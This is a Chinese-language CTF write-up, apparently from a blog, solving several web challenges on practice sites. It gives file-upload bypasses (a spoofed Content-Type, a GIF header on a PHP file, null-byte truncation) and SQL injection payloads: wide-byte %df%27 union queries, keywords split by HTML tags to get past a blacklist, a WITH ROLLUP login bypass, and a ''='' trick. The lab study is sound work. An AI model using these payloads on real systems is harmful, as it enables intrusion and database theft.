不用想也知道直接上传php文件,是不行的。果然返回非图片文件。
抓包看一下,Content-Type为application/octet-stream,将其改为image/gif,放包。
上传成功后返回flag。
直接上传php,抓包改参数,上传报错。
于是想到上传检验的另一种方法,怀疑采用文件头检验的方式。于是将php文件重命名为.gif,并且在文件头部加上gif的文件头内容,即GIF 89a
抓包发现Content-Type字段是对的。
放包得到flag
反思:在做第二题的时候竟然卡了,原因是模糊记得gif格式为GIF 89A,却忘了中间的空格,然后还忘了后面的a为小写。有的东西不能想当然,实在不该,mdzz。。。
还是先做表哥要做的两个SQL题吧。
首先试着用id=1 和 id=1’ 试一试,发现页面都没报错,难道不存在注入点?
这里估计id=1和id=1’没报错是因为使用了转义函数,将 ’ 转义为了\’。一般情况下,不会出现页面报错,看上去好像就没有注入点了。
想起来之前看见过由于编码漏洞导致的宽字节注入。于是尝试:
http://103.238.227.13:10083/?id=1%df%27
发现报错,说明的确是宽字节注入。
所谓宽字节注入,就是数据库gbk编码时,在SQL语句中,如果一个字符的ascii码大于127,会与后一个编码一起当做中文处理。而当我用%df会和\的URL码即%5c
一起被当做中文处理了,这样后面的 ’ 就逃逸检查出来了。更多内容参考SQL宽字节注入。
接下来就和常规操作差不多了。
1.构造语句查看一下数据库名
http://103.238.227.13:10083/?id=1%df%27 union select 1,database()%23
2.构造语句查看字段值
http://103.238.227.13:10083/?id=1%df%27 union select 1,string from sql5.key where id = 1%23
3.总结:
由于本题很直接的告诉了我们,要找的字段就省了很多事,只要知道是宽字节注入,就很容易了。
题目给出源码,但是看完,我方了,貌似给过滤干净了,没得玩了。
//过滤sql
$array = array('table','union','and','or','load_file','create','delete','select','update','sleep','alter','drop','truncate','from','max','min','order','limit');
foreach ($array as $value)
{
if (substr_count($id, $value) > 0)
{
exit('包含敏感关键字!'.$value);
}
}
//xss过滤
$id = strip_tags($id);
$query = "SELECT * FROM temp WHERE id={$id} LIMIT 1";
但是看到XSS过滤那行,突然发现,这个函数可能有猫腻。于是翻手册:
strip_tags — 从字符串中去除 HTML 和 PHP 标记
也就是说,我们如果在id值中加入HTML,php标签会被去掉。
这下就有思路了,可以尝试用HTML标签绕过检查!
查数据库
http://103.238.227.13:10087?id=-1 un<a>ion se<p>lect 1,dat<a>abase()
查要求的字段值
http://103.238.227.13:10087?id=-1 un<a>ion se<p>lect 1,hash fr<a>om sql3.key
或
http://103.238.227.13:10087?id=-1 un<a>ion se<p>lect 1,hash fr<a>om .key
这个题其实有点无语,一开始以为是SQL注入,反复试都没有结果,看到下面有人提示说是脑洞,文件名,于是尝试把php的文件名输入,竟然就出来flag了。。。。
查看源码,只有一行,根据源码的提示source.txt有猫腻,可以看php的源码。
view-source:http://ctf5.shiyanbar.com/web/pcat/source.txt
分析源码:
$filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)";
foreach($_POST as $key=>$value){
AttackFilter($key,$value,$filter);
过滤输入“and|select|from|where|union|join|sleep|benchmark|,|(|)”
$sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'";
$query = mysql_query($sql);
if (mysql_num_rows($query) == 1) {
$key = mysql_fetch_array($query);
if($key['pwd'] == $_POST['pwd']) {
print "CTF{XXXXXX}";
}else{
print "亦可赛艇!";
}
}else{
print "一颗赛艇!";
}
如果用户输入的pwd和数据库中查询的pwd相同的话,输出CTF{XXXXXX},否则输出其它的!
我们需要做的就是让用户输入的pwd和数据库中查询的pwd相同。
这里懵逼了很久,看了别人的提示,with rollup 统计
mysql> select * from test group by pwd with rollup;
+-------+------------+
| user | pwd |
+-------+------------+
| guest | alsomypass |
| admin | mypass |
| admin | NULL |
+-------+------------+
3 rows in set
mysql> select * from test group by pwd with rollup limit 1
;
+-------+------------+
| user | pwd |
+-------+------------+
| guest | alsomypass |
+-------+------------+
mysql> select * from test group by pwd with rollup limit 1 offset 0
;
+-------+------------+
| user | pwd |
+-------+------------+
| guest | alsomypass |
+-------+------------+
1 row in set
mysql> select * from test group by pwd with rollup limit 1 offset 1
;
+-------+--------+
| user | pwd |
+-------+--------+
| admin | mypass |
+-------+--------+
1 row in set
mysql> select * from test group by pwd with rollup limit 1 offset 2
;
+-------+------+
| user | pwd |
+-------+------+
| admin | NULL |
+-------+------+
1 row in set
然后,我们如果按照这种统计方法,就可以绕过检查,直接查询pwd为空的一行。因为我们填写表单的时候,pwd也为空。就可以出flag了。
然后就可以构造payload了:
' or 1=1 group by pwd with rollup limit 1 offset 2 #
这道题,学到了用with rollup 统计排序,利用这个查数据,从而绕过。
这道题,提示过滤了很多东西,然后要你SQL注入。
比较容易试出来,过滤了一些字符,如:or – # /**/ union select,
但是,空格和and 都没有过滤,然后因为SQL语句,大概是
select ...from ....where username =' ' and password = ' ';
于是,我在username输入 ‘=’
password 输入 ‘=’
这样sql语句变成了:
select ...from ....where username =''='' and password = ''=''
由于等号从左往右逻辑计算,username= ” 结果是0,0=” 由于弱类型,返回真。最后相当于 1 and 1 显然永真。
于是返回了数据库所有数据。
上传一张图片,发现,要改后缀名为php。
直接在filename里改,结果不行。
于是想到可能是%00截断。但是在filename里直接截断,发现也不对。
之后在返回的结果发现,upload路径也有可能可以改成php。于是改成upload/1.php+
将+(2b)改成 00 ,就OK了。
页面情况:
得到第一个提示:index.php.txt
访问后,得到源码:
if(eregi("hackerDJ",$_GET[id])) {
echo("not allowed!
");
exit();
}
$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "hackerDJ")
{
echo "Access granted!
";
echo "flag: *****************}
";
}
?>
<br><br>
Can you authenticate to this website?
分析源码,容易得到结论:
id不能是hackerDJ,但是url转码后要是hackerDJ。
比较容易想到,构造一个hackerDJ,urlencoding:
%68%61%63%6b%65%72%44%4a
但是由于输入url会有一次urldecoding,然后php里又有一次urldecoing,所以一共是两次urldecoding,因此,需要相应的两次urlencoing。即%68变成%2568。
最后的payload:
%2568%2561%2563%256b%2565%2572%2544%254a